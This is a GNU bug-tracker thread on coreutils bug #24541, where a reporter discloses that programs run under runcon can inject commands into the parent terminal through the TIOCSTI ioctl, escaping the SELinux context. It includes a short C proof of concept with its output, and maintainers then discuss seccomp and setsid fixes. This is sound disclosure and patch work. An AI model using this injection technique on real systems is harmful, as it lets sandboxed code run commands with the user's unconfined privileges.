GNU bug report logs - #24541
runcon tty hijacking via TIOCSTI ioctl

Previous Next

To add a comment to this bug, you must first unarchive it, by sending
a message to control AT debbugs.gnu.org, with unarchive 24541 in the body.
You can then email your comments to 24541 AT debbugs.gnu.org in the normal way.

Toggle the display of automated, internal messages from the tracker.

Message #5 received at submit <at> debbugs.gnu.org (full text, mbox):

From: up201407890 <at> alunos.dcc.fc.up.pt
To: bug-coreutils <at> gnu.org
Subject: runcon tty hijacking via TIOCSTI ioctl
Date: Sun, 25 Sep 2016 13:39:55 +0200

When executing a program via the runcon utility, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
execute arbitrary commands without the SELinux security context.

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
  char *cmd = "id\n";
  while(*cmd)
   ioctl(0, TIOCSTI, cmd++);
  execlp("/bin/id", "id", NULL);
}
$ gcc test.c -o test
$ runcon -t sandbox_t ./test
id
uid=1000 gid=1000 groups=1000  
context=unconfined_u:unconfined_r:sandbox_t:s0-s0:c0.c1023
$ id   <--- did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

This issue has been recently patched in the SELinux sandbox (CVE-2016-7545):
https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

Thanks,
Federico Bento.

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

Message #8 received at 24541 <at> debbugs.gnu.org (full text, mbox):

From: Paul Eggert <eggert <at> cs.ucla.edu>
To: up201407890 <at> alunos.dcc.fc.up.pt, 24541 <at> debbugs.gnu.org,
 SE-Linux <SELinux <at> tycho.nsa.gov>
Subject: Re: bug#24541: runcon tty hijacking via TIOCSTI ioctl
Date: Sun, 25 Sep 2016 11:49:40 -0700

[Message part 1 (text/plain, inline)]

up201407890 <at> alunos.dcc.fc.up.pt wrote re <http://bugs.gnu.org/24541>:
> When executing a program via the runcon utility, the nonpriv session
> can escape to the parent session by using the TIOCSTI ioctl to push
> characters into the terminal's input buffer, allowing an attacker to
> execute arbitrary commands without the SELinux security context.

Thanks for the bug report. Surely this is a bug in the setexeccon system call, 
not in the runcon command that uses the system call. That being said, perhaps 
runcon should work around the bug via something like the attached patch.

[runcon.diff (text/x-diff, attachment)]

Message #11 received at submit <at> debbugs.gnu.org (full text, mbox):

From: Pádraig Brady <P <at> draigBrady.com>
To: bug-coreutils <at> gnu.org
Subject: Re: bug#24541: runcon tty hijacking via TIOCSTI ioctl
Date: Mon, 26 Sep 2016 11:16:37 +0100

On 25/09/16 12:39, up201407890 <at> alunos.dcc.fc.up.pt wrote:
> When executing a program via the runcon utility, the nonpriv session
> can escape to the parent session by using the TIOCSTI ioctl to push
> characters into the terminal's input buffer, allowing an attacker to
> execute arbitrary commands without the SELinux security context.
> 
> $ cat test.c
> #include <unistd.h>
> #include <sys/ioctl.h>
> 
> int main()
> {
>    char *cmd = "id\n";
>    while(*cmd)
>     ioctl(0, TIOCSTI, cmd++);
>    execlp("/bin/id", "id", NULL);
> }
> $ gcc test.c -o test
> $ runcon -t sandbox_t ./test
> id
> uid=1000 gid=1000 groups=1000  
> context=unconfined_u:unconfined_r:sandbox_t:s0-s0:c0.c1023
> $ id   <--- did not type this
> uid=1000(saken) gid=1000(saken) groups=1000(saken)
> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
> 
> This issue has been recently patched in the SELinux sandbox (CVE-2016-7545):
> https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

There are side effects to that though like not being able to background tasks etc.?

There collection of links on the issue at https://bugs.debian.org/816320

If setsid was an option, one could use `runcon ... setsid the_command`
though that would be less secure operation by default.

The same issue impacts chroot(1) somewhat also.

I'm not sure of the best fix here.

Pádraig

Message #14 received at 24541 <at> debbugs.gnu.org (full text, mbox):

From: Pádraig Brady <P <at> draigBrady.com>
To: up201407890 <at> alunos.dcc.fc.up.pt, 24541 <at> debbugs.gnu.org
Subject: Re: bug#24541: runcon tty hijacking via TIOCSTI ioctl
Date: Mon, 26 Sep 2016 11:18:10 +0100

On 25/09/16 12:39, up201407890 <at> alunos.dcc.fc.up.pt wrote:
> When executing a program via the runcon utility, the nonpriv session
> can escape to the parent session by using the TIOCSTI ioctl to push
> characters into the terminal's input buffer, allowing an attacker to
> execute arbitrary commands without the SELinux security context.
> 
> $ cat test.c
> #include <unistd.h>
> #include <sys/ioctl.h>
> 
> int main()
> {
>    char *cmd = "id\n";
>    while(*cmd)
>     ioctl(0, TIOCSTI, cmd++);
>    execlp("/bin/id", "id", NULL);
> }
> $ gcc test.c -o test
> $ runcon -t sandbox_t ./test
> id
> uid=1000 gid=1000 groups=1000  
> context=unconfined_u:unconfined_r:sandbox_t:s0-s0:c0.c1023
> $ id   <--- did not type this
> uid=1000(saken) gid=1000(saken) groups=1000(saken)
> context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
> 
> This issue has been recently patched in the SELinux sandbox (CVE-2016-7545):
> https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

There are side effects to that though like not being able to background tasks etc.?

There collection of links on the issue at https://bugs.debian.org/816320

If setsid was an option, one could use `runcon ... setsid the_command`
though that would be less secure operation by default.

The same issue impacts chroot(1) somewhat also.

I'm not sure of the best fix here.

thanks,
Pádraig

Message #17 received at 24541 <at> debbugs.gnu.org (full text, mbox):

From: up201407890 <at> alunos.dcc.fc.up.pt
To: "Paul Eggert" <eggert <at> cs.ucla.edu>
Cc: 24541 <at> debbugs.gnu.org, SE-Linux <SELinux <at> tycho.nsa.gov>
Subject: Re: bug#24541: runcon tty hijacking via TIOCSTI ioctl
Date: Mon, 26 Sep 2016 08:38:11 +0200

Quoting "Paul Eggert" <eggert <at> cs.ucla.edu>:

Hello,

I set the bug report here before I got a response from Paul Moore
https://marc.info/?l=selinux&m=147481004710264&w=2

"I don't think we need to fix this for runcon, as it isn't as
sandboxing tool like sandbox, and the loss of job control would likely
be much more noticeable for runcon."


> up201407890 <at> alunos.dcc.fc.up.pt wrote re <http://bugs.gnu.org/24541>:
>> When executing a program via the runcon utility, the nonpriv session
>> can escape to the parent session by using the TIOCSTI ioctl to push
>> characters into the terminal's input buffer, allowing an attacker to
>> execute arbitrary commands without the SELinux security context.
>
> Thanks for the bug report. Surely this is a bug in the setexeccon  
> system call, not in the runcon command that uses the system call.  
> That being said, perhaps runcon should work around the bug via  
> something like the attached patch.
>



----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

Message #22 received at 24541-done <at> debbugs.gnu.org (full text, mbox):

From: Paul Eggert <eggert <at> cs.ucla.edu>
To: up201407890 <at> alunos.dcc.fc.up.pt
Cc: 24541-done <at> debbugs.gnu.org, SE-Linux <SELinux <at> tycho.nsa.gov>
Subject: Re: bug#24541: runcon tty hijacking via TIOCSTI ioctl
Date: Mon, 26 Sep 2016 08:53:34 -0700

> "I don't think we need to fix this for runcon, as it isn't as
> sandboxing tool like sandbox, and the loss of job control would likely
> be much more noticeable for runcon."

Thanks, closing the debbugs bug report.

Message #25 received at 24541 <at> debbugs.gnu.org (full text, mbox):

From: Bernhard Voelker <mail <at> bernhard-voelker.de>
To: 24541 <at> debbugs.gnu.org, eggert <at> cs.ucla.edu
Subject: Re: bug#24541: runcon tty hijacking via TIOCSTI ioctl
Date: Thu, 29 Sep 2016 17:15:57 +0200

On 09/26/2016 05:53 PM, Paul Eggert wrote:
>> "I don't think we need to fix this for runcon, as it isn't as
>> sandboxing tool like sandbox, and the loss of job control would likely
>> be much more noticeable for runcon."
> 
> Thanks, closing the debbugs bug report.

FWIW Karel just committed a workaround for su/runuser in util-linux
using libseccomp:

https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2

Have a nice day,
Berny

Message #32 received at 24541-done <at> debbugs.gnu.org (full text, mbox):

From: Pádraig Brady <P <at> draigBrady.com>
To: 24541-done <at> debbugs.gnu.org
Subject: Re: bug#24541: runcon tty hijacking via TIOCSTI ioctl
Date: Mon, 28 Aug 2017 02:51:12 -0700

[Message part 1 (text/plain, inline)]

On 29/09/16 08:15, Bernhard Voelker wrote:
> On 09/26/2016 05:53 PM, Paul Eggert wrote:
>>> "I don't think we need to fix this for runcon, as it isn't as
>>> sandboxing tool like sandbox, and the loss of job control would likely
>>> be much more noticeable for runcon."
>>
>> Thanks, closing the debbugs bug report.
> 
> FWIW Karel just committed a workaround for su/runuser in util-linux
> using libseccomp:
> 
> https://github.com/karelzak/util-linux/commit/8e492501

I think this issue is worth addressing with libseccomp.
That lib is a widely used dependency on SELinux systems
so not a significant dependency to add.
The attached uses libseccomp if available,
and falls back to using setsid() in the edge cases where not.

cheers,
Pádraig

[runcon-inject.patch (text/x-patch, attachment)]

Message #35 received at submit <at> debbugs.gnu.org (full text, mbox):

From: Kamil Dudka <kdudka <at> redhat.com>
To: Pádraig Brady <P <at> draigbrady.com>
Cc: 24541-done <at> debbugs.gnu.org, bug-coreutils <at> gnu.org
Subject: Re: bug#24541: runcon tty hijacking via TIOCSTI ioctl
Date: Mon, 28 Aug 2017 13:24:41 +0200

On Monday, August 28, 2017 11:51:12 AM CEST Pádraig Brady wrote:
> On 29/09/16 08:15, Bernhard Voelker wrote:
> > On 09/26/2016 05:53 PM, Paul Eggert wrote:
> >>> "I don't think we need to fix this for runcon, as it isn't as
> >>> sandboxing tool like sandbox, and the loss of job control would likely
> >>> be much more noticeable for runcon."
> >> 
> >> Thanks, closing the debbugs bug report.
> > 
> > FWIW Karel just committed a workaround for su/runuser in util-linux
> > using libseccomp:
> > 
> > https://github.com/karelzak/util-linux/commit/8e492501

Note that the above mentioned commit was reverted long time ago:

https://github.com/karelzak/util-linux/commit/23f75093

Kamil

> I think this issue is worth addressing with libseccomp.
> That lib is a widely used dependency on SELinux systems
> so not a significant dependency to add.
> The attached uses libseccomp if available,
> and falls back to using setsid() in the edge cases where not.
> 
> cheers,
> Pádraig

Previous Next

GNU bug tracking system
Copyright (C) 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson.